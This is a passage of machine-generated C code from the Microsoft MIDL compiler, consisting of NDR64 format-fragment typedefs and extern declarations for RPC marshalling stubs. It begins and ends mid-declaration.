__midl_frag629;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag626_t;\nextern const __midl_frag626_t __midl_frag626;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag625_t;\nextern const __midl_frag625_t __midl_frag625;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag617_t;\nextern const __midl_frag617_t __midl_frag617;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag616_t;\nextern const __midl_frag616_t __midl_frag616;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag614_t;\nextern const __midl_frag614_t __midl_frag614;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag613_t;\nextern const __midl_frag613_t __midl_frag613;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_MEMPAD_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag32;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag33;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag34;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag35;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag36;\n    } frag2;\n}\n__midl_frag604_t;\nextern const __midl_frag604_t __midl_frag604;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag603_t;\nextern const __midl_frag603_t __midl_frag603;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n    struct _NDR64_POINTER_FORMAT frag13;\n    struct _NDR64_POINTER_FORMAT frag14;\n}\n__midl_frag602_t;\nextern const __midl_frag602_t __midl_frag602;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n    } frag2;\n}\n__midl_frag583_t;\nextern const __midl_frag583_t __midl_frag583;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag582_t;\nextern const __midl_frag582_t __midl_frag582;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n}\n__midl_frag581_t;\nextern const __midl_frag581_t __midl_frag581;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n    } frag2;\n}\n__midl_frag566_t;\nextern const __midl_frag566_t __midl_frag566;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag565_t;\nextern const __midl_frag565_t __midl_frag565;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n}\n__midl_frag564_t;\nextern const __midl_frag564_t __midl_frag564;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n    } frag2;\n}\n__midl_frag552_t;\nextern const __midl_frag552_t __midl_frag552;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag551_t;\nextern const __midl_frag551_t __midl_frag551;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n}\n__midl_frag550_t;\nextern const __midl_frag550_t __midl_frag550;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag544_t;\nextern const __midl_frag544_t __midl_frag544;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag543_t;\nextern const __midl_frag543_t __midl_frag543;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    NDR64_UINT32 frag9;\n}\n__midl_frag538_t;\nextern const __midl_frag538_t __midl_frag538;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag537_t;\nextern const __midl_frag537_t __midl_frag537;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag536_t;\nextern const __midl_frag536_t __midl_frag536;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag533_t;\nextern const __midl_frag533_t __midl_frag533;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag518_t;\nextern const __midl_frag518_t __midl_frag518;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag516_t;\nextern const __midl_frag516_t __midl_frag516;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag515_t;\nextern const __midl_frag515_t __midl_frag515;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag514_t;\nextern const __midl_frag514_t __midl_frag514;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag507_t;\nextern const __midl_frag507_t __midl_frag507;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag505_t;\nextern const __midl_frag505_t __midl_frag505;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag504_t;\nextern const __midl_frag504_t __midl_frag504;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag503_t;\nextern const __midl_frag503_t __midl_frag503;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag502_t;\nextern const __midl_frag502_t __midl_frag502;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag501_t;\nextern const __midl_frag501_t __midl_frag501;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag500_t;\nextern const __midl_frag500_t __midl_frag500;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag498_t;\nextern const __midl_frag498_t __midl_frag498;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag497_t;\nextern const __midl_frag497_t __midl_frag497;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag496_t;\nextern const __midl_frag496_t __midl_frag496;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag495_t;\nextern const __midl_frag495_t __midl_frag495;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag494_t;\nextern const __midl_frag494_t __midl_frag494;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag492_t;\nextern const __midl_frag492_t __midl_frag492;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    NDR64_UINT32 frag11;\n}\n__midl_frag491_t;\nextern const __midl_frag491_t __midl_frag491;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag489_t;\nextern const __midl_frag489_t __midl_frag489;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag488_t;\nextern const __midl_frag488_t __midl_frag488;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag487_t;\nextern const __midl_frag487_t __midl_frag487;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag486_t;\nextern const __midl_frag486_t __midl_frag486;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag485_t;\nextern const __midl_frag485_t __midl_frag485;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag484_t;\nextern const __midl_frag484_t __midl_frag484;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag483_t;\nextern const __midl_frag483_t __midl_frag483;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag482_t;\nextern const __midl_frag482_t __midl_frag482;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag480_t;\nextern const __midl_frag480_t __midl_frag480;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag479_t;\nextern const __midl_frag479_t __midl_frag479;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag478_t;\nextern const __midl_frag478_t __midl_frag478;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag477_t;\nextern const __midl_frag477_t __midl_frag477;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag470_t;\nextern const __midl_frag470_t __midl_frag470;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag469_t;\nextern const __midl_frag469_t __midl_frag469;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag7;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag468_t;\nextern const __midl_frag468_t __midl_frag468;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag466_t;\nextern const __midl_frag466_t __midl_frag466;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag465_t;\nextern const __midl_frag465_t __midl_frag465;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag464_t;\nextern const __midl_frag464_t __midl_frag464;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag462_t;\nextern const __midl_frag462_t __midl_frag462;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag461_t;\nextern const __midl_frag461_t __midl_frag461;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag460_t;\nextern const __midl_frag460_t __midl_frag460;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag457_t;\nextern const __midl_frag457_t __midl_frag457;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag455_t;\nextern const __midl_frag455_t __midl_frag455;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag452_t;\nextern const __midl_frag452_t __midl_frag452;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag451_t;\nextern const __midl_frag451_t __midl_frag451;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag450_t;\nextern const __midl_frag450_t __midl_frag450;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag449_t;\nextern const __midl_frag449_t __midl_frag449;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag448_t;\nextern const __midl_frag448_t __midl_frag448;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag447_t;\nextern const __midl_frag447_t __midl_frag447;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag446_t;\nextern const __midl_frag446_t __midl_frag446;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag445_t;\nextern const __midl_frag445_t __midl_frag445;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag444_t;\nextern const __midl_frag444_t __midl_frag444;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag443_t;\nextern const __midl_frag443_t __midl_frag443;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag442_t;\nextern const __midl_frag442_t __midl_frag442;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n}\n__midl_frag441_t;\nextern const __midl_frag441_t __midl_frag441;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag436_t;\nextern const __midl_frag436_t __midl_frag436;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag429_t;\nextern const __midl_frag429_t __midl_frag429;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag421_t;\nextern const __midl_frag421_t __midl_frag421;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag419_t;\nextern const __midl_frag419_t __midl_frag419;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag418_t;\nextern const __midl_frag418_t __midl_frag418;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag417_t;\nextern const __midl_frag417_t __midl_frag417;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag416_t;\nextern const __midl_frag416_t __midl_frag416;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag412_t;\nextern const __midl_frag412_t __midl_frag412;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag398_t;\nextern const __midl_frag398_t __midl_frag398;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag392_t;\nextern const __midl_frag392_t __midl_frag392;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag391_t;\nextern const __midl_frag391_t __midl_frag391;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag390_t;\nextern const __midl_frag390_t __midl_frag390;\n\ntypedef 